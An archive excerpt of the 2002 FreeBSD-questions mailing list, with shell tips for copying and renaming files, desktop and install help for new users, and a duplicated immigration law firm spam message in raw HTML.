-- 
Brian, the man from Babble-On . . . .   bts@babbleon.org (personal)
                                        http://www.babbleon.org

http://www.eff.org                      http://www.programming-freedom.org 

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From owner-freebsd-questions  Fri Aug  2 16: 1:45 2002
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Date: Fri, 2 Aug 2002 23:59:48 +0100
From: Matthew Seaman <m.seaman@infracaninophile.co.uk>
To: Pascal Giannakakis <capm@gmx.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: smart file gobbling: exclude one file from list
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On Fri, Aug 02, 2002 at 11:46:43PM +0200, Pascal Giannakakis wrote:

> if i do "cp * /destination", all files in the current directory will be
> copied to /destination. What do i have to type, if i want to expand the '*'
> to all files, except of one? For example, if i wanted to exclude the file
> "notme" in the current directory?
> 
> I know i could hack it with grep, but this fails as all files are on one
> line. I wonder how you gurus would solve this! :)

i)

    mv notme /tmp
    cp * /destination
    mv /tmp/notme .

ii)

    for f in * ; do
        [ "$f" = "notme" ] || cp $f /destination
    done

iii)

    find . \! -name notme -maxdepth 1 -mindepth 1 -print0 | \
        xargs -0 -J % cp % /destination

iv)

    cp `ls -1d * | sed -e '/notme/d'` /destination

v)

    perl -MFile::Copy \
        -e 'for (@ARGV) { next if /notme/; copy $_, "/destination/$_"; }' *

vi)

    tar -cf - --exclude=notme . | ( cd /destination ; tar -xf - )

vii)

    zsh -c "setopt EXTENDED_GLOB ; cp (^(notme)) /destination"

zsh is in ports -- shells/zsh -- all the rest are commands from the
core system.

	Cheers,

	Matthew

-- 
Dr Matthew J Seaman MA, D.Phil.                       26 The Paddocks
                                                      Savill Way
Tel: +44 1628 476614                                  Marlow
Fax: +44 0870 0522645                                 Bucks., SL7 1TH UK

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From owner-freebsd-questions  Fri Aug  2 16: 1:56 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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I've been thinking a lot about an offshoot version of FreeBSD that newbian
users could get from the kern.flp / mfsroot.flp process and its sysinstall...

There would be a checkbox for [ ]HomeFreeBSD or [ ]HomeBSD or the like
(users could pay $19.95 for a CDROM and seven days of e-mail support, too).

Just hear me out *grin*

It would include the latest XFree86, KDE (or whatever most resembles the
familiar StartButton), and OpenOffice.  Out of the box.  It would include
viewers and players for common media -- practically built-in to KDE and its
menus -- for files of type *.pdf, *.ra, *.asx, *.swf, *.doc, *.mov, *.qt,
*.mpeg, *.mpg, *.mp3 and many other popular file types.

I think that would be nice.

HomeBSD might even include a tiny, simple binary that logs into a site at
something like www.homebsd.org/cvsup/compare.cgi to make upgrades easier...
or uses cvsup's port and protocol to accomplish this.  :)

A fairy ghost would fly of your diskette drive and install everything for you too.

Not.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Fri Aug  2 16:10:30 2002
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> I've been thinking a lot about an offshoot version of FreeBSD that
> newbian users could get from the kern.flp / mfsroot.flp process and its
> sysinstall...
>
> There would be a checkbox for [ ]HomeFreeBSD or [ ]HomeBSD or the like
> (users could pay $19.95 for a CDROM and seven days of e-mail support,
> too).
>
> Just hear me out *grin*
>
> It would include the latest XFree86, KDE (or whatever most resembles the
> familiar StartButton), and OpenOffice.  Out of the box.  It would
> include viewers and players for common media -- practically built-in to
> KDE and its menus -- for files of type *.pdf, *.ra, *.asx, *.swf, *.doc,
> *.mov, *.qt, *.mpeg, *.mpg, *.mp3 and many other popular file types.
>
> I think that would be nice.
>
> HomeBSD might even include a tiny, simple binary that logs into a site
> at something like www.homebsd.org/cvsup/compare.cgi to make upgrades
> easier... or uses cvsup's port and protocol to accomplish this.  :)
>
> A fairy ghost would fly of your diskette drive and install everything
> for you too.
>
> Not.
>
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555



Stick with videos.. Please.
-- 

The unixhideout network
http://www.unixhideout.com


-----------------------------------------
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From owner-freebsd-questions  Fri Aug  2 16:10:59 2002
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	"FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
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----- Original Message -----
From: "Hal Lynch" <hl700@cc.usu.edu>
To: "FreeBSD Questions" <freebsd-questions@FreeBSD.ORG>
Sent: Friday, August 02, 2002 1826h
Subject: Security Advisory FreeBSD-SA-02:33.openssl Fix?!


> I went www.FreeBSD.org Checked 'Getting FreeBSD' selected a
> mirror and then couldn't find any reference to any of the above.
> I am sure they are there I just don't know what to look for?!

Check the sections on "Synchronizing your source" and "Staying Stable". You
should find what you need there.

HTH
-C


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From owner-freebsd-questions  Fri Aug  2 16:15:45 2002
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	"Patricia Earlene Record" <recorde@kirtland.cc.mi.us>
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8/2/2002 7:38:51 PM, "Patricia Earlene Record" 
<recorde@kirtland.cc.mi.us> wrote:

>
>
>  From:   "Patricia Earlene Record" <recorde@kirtland.cc.mi.us>
>  To:     <freebsd-questions@FreeBSD.ORG>
>
>  Subject:os
>  Date:   Fri, 2 Aug 2002 16:38:51 -0700
>
>
>
>  I was wondering. I am a single mother of three trying to find a new
>  operating system for my laptop to free up my computer for my 
children.
>
>  However, i am unable to purchase operating software because it is 
just to
>
>  expensive and i cant afford to. I was reading your web site and was
>  wondering if you had a free version of this on 3.5 floppy disks. My 
laptop
>
>  only has floppy. if you could help please let me know. Thanks Earlene

Other folks have already told you where to look for the installation 
instructions.  Here are a couple of other points:

1. This is *way* different than any Windows operating system you may 
have used.  Get an idea whether it's compatible with your laptop 
hardware here:

http://www.freebsd.org/releases/4.6R/hardware-i386.html 

Studying not only the install stuff, but also tutorials on FreeBSD and 
Unix, is a good idea.  Searching Google Groups for answers to specific 
questions you may have will be helpful.  Also, 
http://www.onlamp.com/pub/ct/15 has links to helpful articles about 
things like getting your desktop started and connecting to the Internet.

2. Think of time spent learning as replacing money with FreeBSD.  As 
long as you're willing to learn, not only the OS but more than 7,000 
applications - Web, music, word processing, graphic arts, etc. - are 
open to you for free.

Jud




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From owner-freebsd-questions  Fri Aug  2 16:21:51 2002
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Date: Fri, 2 Aug 2002 19:21:39 -0400
From: Jeremy Faulkner <gldisater@gldis.ca>
To: Peter Leftwich <Hostmaster@Video2Video.Com>
Cc: questions@freebsd.org, recorde@kirtland.cc.mi.us
Subject: Re: os
Message-ID: <20020802192139.A70929@constans.gldis.ca>
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On Fri, Aug 02, 2002 at 05:40:46PM -0400, Peter Leftwich wrote:
> On Fri, 2 Aug 2002, Patricia Earlene Record wrote:
> > I was wondering. I am a single mother of three trying to find a new 
> > operating system for my laptop to free up my computer for my children. 
> > However, i am unable to purchase operating software because it is just to 
> > expensive and i cant afford to. I was reading your web site and was 
> > wondering if you had a free version of this on 3.5 floppy disks. My 
> > laptop only has floppy. if you could help please let me know. Thanks Earlene
> 
> Your laptop didn't come with an OS?  FreeBSD does have free bootable
> floppies but these are used only in preparation for installing the whole
> (or minimal) set of files for the OS over FTP.  Many here would recommend
> you have high bandwidth Internet (fast connection) if you plan to do so.
> 
> --
> Peter Leftwich
> President & Founder
> Video2Video Services
> Box 13692, La Jolla, CA, 92039 USA
> +1-413-403-9555

FreeBSD can be installed from floppies. It's an unpleasant procedure to get
a minimal install, but it can be done. I would recommend the use of a PLIP or
SLIP installation instead, but this would require another system to act as a
server.  Earlene, I'm going to guess that you don't have a lot of experience
with UNIX-like operating system. I would recommend that you attempt to find a
user group near you, they will be able to assist you. Many such groups have 
"Installathons" to assist/perform installations for people interested in using
freely available UNIX-like operating systems. 

-- 
Jeremy Faulkner			http://www.gldis.ca

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From owner-freebsd-questions  Fri Aug  2 16:26:19 2002
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From: Joshua Lee <yid@softhome.net>
To: Peter Leftwich <Hostmaster@Video2Video.Com>
Cc: FreeBSD-Questions@FreeBSD.Org
Subject: Re: Peter heads back to M$FT WinBloze
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On Fri, 26 Jul 2002 20:06:27 -0400 (EDT)
Peter Leftwich <Hostmaster@Video2Video.Com> wrote:

> Dear List, I've been reading some compelling posts lately about people
> giving up on FreeBSD, and may soon -- sadly -- join their ranks!

It's really not for everyone as a desktop, but I prefer it over windows even for that task.

> my FreeBSD 4.3 CDROMs and installed them by the seat of my pants, but
 could
> never get XFree86 3.3.6 working - blank screen!

4.6 installs version 4.2.0 by default now, and it's a lot easier to set up usually than 3.3.6.

> XFree86 4.2.0 now suddenly works

Yep, like I said, it's easier to set up.

> as does KDE and a very "krashy" Konqueror browser (sigh).

I prefer Mozilla, though Konqueror has improved much in KDE3, you might want to try upgrading to KDE3 (it's in ports, it really should be the default now) if you like KDE.

> Realizing that plugins are impossible (Flash), and the hassle of

I don't use Konq, or KDE (anymore since moving from Lin to BSD), but Flash works fine here. Have you tried installing it? Maybe it needs a seperate installation step.

> sound players working

If you have a recent soundcard usually all you have to do is add "device pcm" to your kernel configuration file and recompile the kernel. (Yes, I know recompiling's a pain - in the meantime running kldload snd0 will work.)

> and my Canon scanner and webcam and PDF readers and

PDF readers are easy, you have a choice between Acroread (the same product used under Windows), and the various ghostview clones such as gv. KDE even comes with a good one of those, kghostview, that autmatically executes from the konqueror file browser. I think you can even create PDF files in BSD without paying for Acrobat, I know creating postscript files is a cinch...

> *.DOC readers, 

Openoffice, and for simple DOC files Abiword, are word processors that have some DOC compatability.

> I think I may be out of the FreeBSD workstation game.

Don't give up yet! The only thing FreeBSD is really lacking in is 3D games; at least my nvidia card doesn't work with this. (Other video cards may have AGP and hardware 3D support with 4.6 (and I seem to recall 4.5) FreeBSD.)

> Finally going from UNIX user (since 1992) to sysadmin was a terrific

That's around the time that I started, though I did very rudementary sysadmin work by installing 0.95 Linux on a 386sx-16. :-) (at the time 386BSD 0.x was buggy and BSDI had the AT&T lawsuit...)

> learning experience, but a "learning XP" seems more attractive for now

It depends upon what you like to do.
> especially as XP is built on (sort of) NT and is 32bit and uses > protected memory ...

FreeBSD is a heck of a lot more reliable than XP, and is 32 bit with protected memory too, and not just in recent versions. :-)

> until FreeBSD is 34,523,455% more of an OUT-OF-THE-BOX-GUI OS. :(

Assuming sysinstall goes smoothly, it is an out-of-the-box GUI. It offers KDE2, Sawfish or E with GNOME, and fvwm; and nearly any other x11 window manager available for X is available in /usr/ports/x11-wm. (I currently use Windowmaker; but you might not like that because rather than being a Windows clone it's a NeXT-step clone.)

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Subject: Immigration News Flash (AR-11/Concurrent Filing)
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**** NEWS FLASH ****



Concurrent I-485 Filing
 

This is to advise you of a new interim rule (INS No. 2104-00) affecting 8 CFR Parts 204, 245 and 299.  As of July 31, 2002, this interim rule amends the INS' regulations by allowing both forms I-140 and I-485 to be filed concurrently when an employment-based visa is immediately available, thereby improving the efficiency of the process as well as customer service.

 

The rule also allows aliens with pending I-140 petitions to now file I-485 applications with the I-140 receipt.  It is applicable to aliens who are classifiable under sections 203(b)(1), (2), and (3) or EB1, 2, or 3.

 

Upon filing the I-485, the alien worker can apply for Employment and Travel Authorization.

 

If you are a client, individual or employer/petitioner, and have a specific question about a pending I-140 (EB1-3) petition, please do not hesitate to contact us.

 

Also:

 

Change of Address
 

As part of heightened security measures, INS will now actively enforce Section 265 of the Immigration and Nationality Act/or 8 U.S.C. 1305, which requires that every foreign person in the United States must notify INS within 10 days of any address change.  The penalty for failure to report a change in address is arrest and deportation, and possibly even criminal prosecution.

 

You must report an Address Change, using Form AR-11, if:

 

1. You are a resident (visa or green card holder) and

2. You are 14 years of age or older (parents must report children under 18 years of age) and

3. You have moved or your address has changed from the address on file at the INS.

 

If you have not filed an address change, you should do so.  It is better to file a late address change than not to file one at all. Make sure to keep a copy and proof of sending the notification (via certified US Postal Service mail) to INS for your personal records.

 

To report a change of address, please visit our website: http://www.greencard1.com (resources section).  Our website has a link to the INS website where you can find Form AR-11.  Form AR-11 provides instructions on how to fill it out and where to file it.  You can also visit the INS website directly at: http://www.ins.gov/graphics/formsfee/forms/ar-11.htm

 

As stated, if you wish to discuss any of the above, please contact us at 415/291-8000 and one of our attorneys will be happy to speak with you.  Please notify us if you have a pending I-140 case with our office. 





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NEWS FLASH ****<?xml:namespace prefix =3D o ns =3D=20
"urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></B></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center"=20
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<H1 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
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size=3D3></FONT></U></EM></SPAN>&nbsp;</H1>
<H1 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
Garamond"><EM><U><FONT=20
size=3D3>Concurrent I-485 Filing<o:p></o:p></FONT></U></EM></SPAN></H1>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoBodyText style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>This is to advise you of =
a new=20
interim rule (INS No. 2104-00) affecting 8 CFR Parts 204, 245 and =
299.<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>As of July 31, 2002, this =
interim rule=20
amends the INS=92 regulations by allowing both forms I-140 and I-485 to =
be filed=20
concurrently when an employment-based visa is immediately available, =
thereby=20
improving the efficiency of the process as well as customer=20
service.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>The rule also allows =
aliens with=20
pending I-140 petitions to now file I-485 applications with the I-140=20
receipt.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>It is applicable =
to aliens=20
who are classifiable under sections 203(b)(1), (2), and (3) or EB1, 2, =
or=20
3.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>Upon filing the I-485, =
the alien=20
worker can apply for Employment and Travel=20
Authorization.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>If you are a client, =
individual or=20
employer/petitioner, and have a specific question about a pending I-140 =
(EB1-3)=20
petition, please do not hesitate to contact =
us.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>Also:<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
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<H2 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
Garamond"><EM><U><FONT=20
size=3D3>Change of Address<o:p></o:p></FONT></U></EM></SPAN></H2>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>As part of heightened =
security=20
measures, INS will now actively enforce Section 265 of the Immigration =
and=20
Nationality Act/or 8 U.S.C. 1305, which requires that every foreign =
person in=20
the United States must notify INS within 10 days of any address =
change.<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>The penalty for failure to =
report a=20
change in address is arrest and deportation, and possibly even criminal=20
prosecution.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>You must report an =
Address Change,=20
using Form AR-11, if:<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>1. You are a resident =
(visa or green=20
card holder) and<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoBodyText style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>2. You are 14 years of =
age or older=20
(parents must report children under 18 years of age)=20
and<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>3. You have moved or your =
address has=20
changed from the address on file at the =
INS.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>If you have not filed an =
address=20
change, you should do so.<SPAN style=3D"mso-spacerun: yes">&nbsp; =
</SPAN>It is=20
better to file a late address change than not to file one at all. Make =
sure to=20
keep a copy and proof of sending the notification (via certified US =
Postal=20
Service mail) to INS for your personal =
records.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>To report a change of =
address, please=20
visit our website: </FONT><A href=3D"http://www.greencard1.com/"><FONT=20
size=3D3>http://www.greencard1.com</FONT></A><FONT size=3D3> (resources=20
section).<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>Our website has =
a link to=20
the INS website where you can find </FONT><A=20
href=3D"http://www.greencard1.com/Forms/ins_forms/ar-11.pdf"><FONT =
size=3D3>Form=20
AR-11</FONT></A><FONT size=3D3>.<SPAN style=3D"mso-spacerun: yes">&nbsp; =

</SPAN></FONT><A=20
href=3D"http://www.greencard1.com/Forms/ins_forms/ar-11.pdf"><FONT =
size=3D3>Form=20
AR-11</FONT></A><FONT size=3D3> provides instructions on how to fill it =
out and=20
where to file it.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>You can =
also=20
visit the INS website directly at: </FONT><A=20
href=3D"http://64.4.30.250:80/cgi-bin/linkrd?_lang=3DEN&amp;lah=3Dee2854d=
b50af2080af45dd1a7b17385f&amp;lat=3D1027963464&amp;hm___action=3Dhttp%3a%=
2f%2fwww%2eins%2egov%2fgraphics%2fformsfee%2fforms%2far%2d11%2ehtm"=20
target=3D_blank><FONT color=3D#000099=20
size=3D3>http://www.ins.gov/graphics/formsfee/forms/ar-11.htm</FONT></A><=
o:p></o:p></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
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<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><B><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>As stated, if you wish to =
discuss any=20
of the above, please contact us at 415/291-8000 and one of our attorneys =
will be=20
happy to speak with you.<SPAN style=3D"mso-spacerun: yes">&nbsp; =
</SPAN>Please=20
notify us if you have a pending I-140 case with our office.=20
<o:p></o:p></FONT></SPAN></B></P>
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From owner-freebsd-questions  Fri Aug  2 16:35:20 2002
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Date: Fri, 2 Aug 2002 17:34:52 -0600
From: Kyle Butt <kylebutt@myrealbox.com>
To: "Pietralla, Siegfried P" <siegfried.pietralla@eds.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: files to files with .txt
Message-ID: <20020802173452.A368@kylebutt.dorms.usu.edu>
Mail-Followup-To: "Pietralla, Siegfried P" <siegfried.pietralla@eds.com>,
	freebsd-questions@freebsd.org
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On Fri, Aug 02, 2002 at 01:58:20PM +1000, Pietralla, Siegfried P wrote:
> > -----Original Message-----
> > From: John Mills [mailto:jmmills@telocity.com]
> > Sent: Friday, 2 August 2002 12:07
> > To: Maciej Szewczyk
> > Cc: questions@FreeBSD.ORG
> > Subject: Re: files to files with .txt
> > 
> > 
> > Hello -
> > 
> > On Wed, 31 Jul 2002, Maciej Szewczyk wrote:
> > 
> > > Hi,
> > > I have about 1000 files.
> > > ls -1
> > > 1
> > > 2
> .
> .
> .
> > > And now I must have 1000 files with .txt ->
> > > ls -1
> > > 1.txt
> > > 2.txt
> .
> .
> .
> > 
> > DISCLAIMER - This is on-the-fly - you'll probably need to 
> > tune it and/or
> > correct it. Of course you could just write it as a [bash] 
> > script. Get the
> > form right _without_ the 'mv' line, and if possible save a 
> > copy of your
> > directory before you munge the real files.
> > 
> > $ ls > ../1000_files
> > $ for FILENAME in `cat ../1000_files`
> >  > do
> >  >  echo "Renaming $FILENAME to $FILENAME.txt"
> >  >  mv $FILENAME $FILENAME.txt
> >  > done
> >  Renaming 001 to 001.txt
> >  ....
> > 
> > $
> > 
> >  - John Mills
> 
> i've found that the easiest ( and least typing ) way to check stuff like
> this is to :
> 
> for i in * ; do echo mv $i $i.txt ; done
> 
> to see what you're going to get, then just append " | sh " ;

or just remove the echo.

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From owner-freebsd-questions  Fri Aug  2 16:39:26 2002
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From: Dave <xtalsinger@blueyonder.co.uk>
To: freebsd-questions@FreeBSD.org
Subject: Re: xfree and TV question
Date: Sat, 03 Aug 2002 00:39:06 +0100
Reply-To: xtalsinger@blueyonder.co.uk
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On Thu, 01 Aug 2002 14:55:53 -0500, you wrote:

>     Apparently, it is impossible to feed the card the proper timings
>for tv output using the nv driver. When the vesa driver is used and the
>vga is unplugged, the video card assumes that you want to output via the
>tv out connector at boot. ( yes you must reboot ) After that, the card
>translates standard timings into acceptable NTSC/PAL timing for your
>tv/monitor so there is no need for fancy modeline calculations. Just use
>some stanard timings for the mode you are shooting for.

Ah HA!!!  Light at the end of the tunnel :-)

I tried getting the new "official" Linux nvidia drivers to work with
FreeBSD - No luck.  Looked into geting it to work with an ATI
Mach64/TV-Out - No luck.  I even installed RH Linux 7.3 (That's what the
official NVidia driver is for) - Couldn't work out why it wouldn't install
properly.

I'll certainly have a go with the vesa driver now.  Thinking about it, it
"should" work.  After all, the RH Linux 7.3 install was done in graphics
mode - looked like 800x600 to me

Half hour later

The NVidia TNT2 failed miserably with the Vesa driver :-(

The Mach64 works though :-)

Thanks for the pointer

Dave

-- 
Sig abducted by aliens


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From owner-freebsd-questions  Fri Aug  2 16:43:10 2002
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do the list people utilize blackhole lists?  It might help.


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From owner-freebsd-questions  Fri Aug  2 16:48:37 2002
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From: "Heller Immigration Law Group, LLP" <Heller_Immigration_Law_Group@greencard1.com>
Subject: Immigration News Flash (AR-11/Concurrent Filing)
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**** NEWS FLASH ****



Concurrent I-485 Filing
 

This is to advise you of a new interim rule (INS No. 2104-00) affecting 8 CFR Parts 204, 245 and 299.  As of July 31, 2002, this interim rule amends the INS' regulations by allowing both forms I-140 and I-485 to be filed concurrently when an employment-based visa is immediately available, thereby improving the efficiency of the process as well as customer service.

 

The rule also allows aliens with pending I-140 petitions to now file I-485 applications with the I-140 receipt.  It is applicable to aliens who are classifiable under sections 203(b)(1), (2), and (3) or EB1, 2, or 3.

 

Upon filing the I-485, the alien worker can apply for Employment and Travel Authorization.

 

If you are a client, individual or employer/petitioner, and have a specific question about a pending I-140 (EB1-3) petition, please do not hesitate to contact us.

 

Also:

 

Change of Address
 

As part of heightened security measures, INS will now actively enforce Section 265 of the Immigration and Nationality Act/or 8 U.S.C. 1305, which requires that every foreign person in the United States must notify INS within 10 days of any address change.  The penalty for failure to report a change in address is arrest and deportation, and possibly even criminal prosecution.

 

You must report an Address Change, using Form AR-11, if:

 

1. You are a resident (visa or green card holder) and

2. You are 14 years of age or older (parents must report children under 18 years of age) and

3. You have moved or your address has changed from the address on file at the INS.

 

If you have not filed an address change, you should do so.  It is better to file a late address change than not to file one at all. Make sure to keep a copy and proof of sending the notification (via certified US Postal Service mail) to INS for your personal records.

 

To report a change of address, please visit our website: http://www.greencard1.com (resources section).  Our website has a link to the INS website where you can find Form AR-11.  Form AR-11 provides instructions on how to fill it out and where to file it.  You can also visit the INS website directly at: http://www.ins.gov/graphics/formsfee/forms/ar-11.htm

 

As stated, if you wish to discuss any of the above, please contact us at 415/291-8000 and one of our attorneys will be happy to speak with you.  Please notify us if you have a pending I-140 case with our office. 





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<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: center"=20
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<H1 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
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size=3D3></FONT></U></EM></SPAN>&nbsp;</H1>
<H1 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
Garamond"><EM><U><FONT=20
size=3D3>Concurrent I-485 Filing<o:p></o:p></FONT></U></EM></SPAN></H1>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoBodyText style=3D"MARGIN: 0in 0in 0pt"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>This is to advise you of =
a new=20
interim rule (INS No. 2104-00) affecting 8 CFR Parts 204, 245 and =
299.<SPAN=20
style=3D"mso-spacerun: yes">&nbsp; </SPAN>As of July 31, 2002, this =
interim rule=20
amends the INS=92 regulations by allowing both forms I-140 and I-485 to =
be filed=20
concurrently when an employment-based visa is immediately available, =
thereby=20
improving the efficiency of the process as well as customer=20
service.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
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style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>The rule also allows =
aliens with=20
pending I-140 petitions to now file I-485 applications with the I-140=20
receipt.<SPAN style=3D"mso-spacerun: yes">&nbsp; </SPAN>It is applicable =
to aliens=20
who are classifiable under sections 203(b)(1), (2), and (3) or EB1, 2, =
or=20
3.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
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<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>Upon filing the I-485, =
the alien=20
worker can apply for Employment and Travel=20
Authorization.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT =
size=3D3>&nbsp;<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
justify"><SPAN=20
style=3D"FONT-FAMILY: Garamond"><FONT size=3D3>If you are a client, =
individual or=20
employer/petitioner, and have a specific question about a pending I-140 =
(EB1-3)=20
petition, please do not hesitate to contact =
us.<o:p></o:p></FONT></SPAN></P>
<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
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<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
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style=3D"FONT-FAMILY: Garamond"><FONT =
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<P class=3DMsoNormal style=3D"MARGIN: 0in 0in 0pt; TEXT-ALIGN: =
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style=3D"FONT-FAMILY: Garamond"><FONT =
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<H2 style=3D"MARGIN: 0in 0in 0pt"><SPAN style=3D"FONT-FAMILY: =
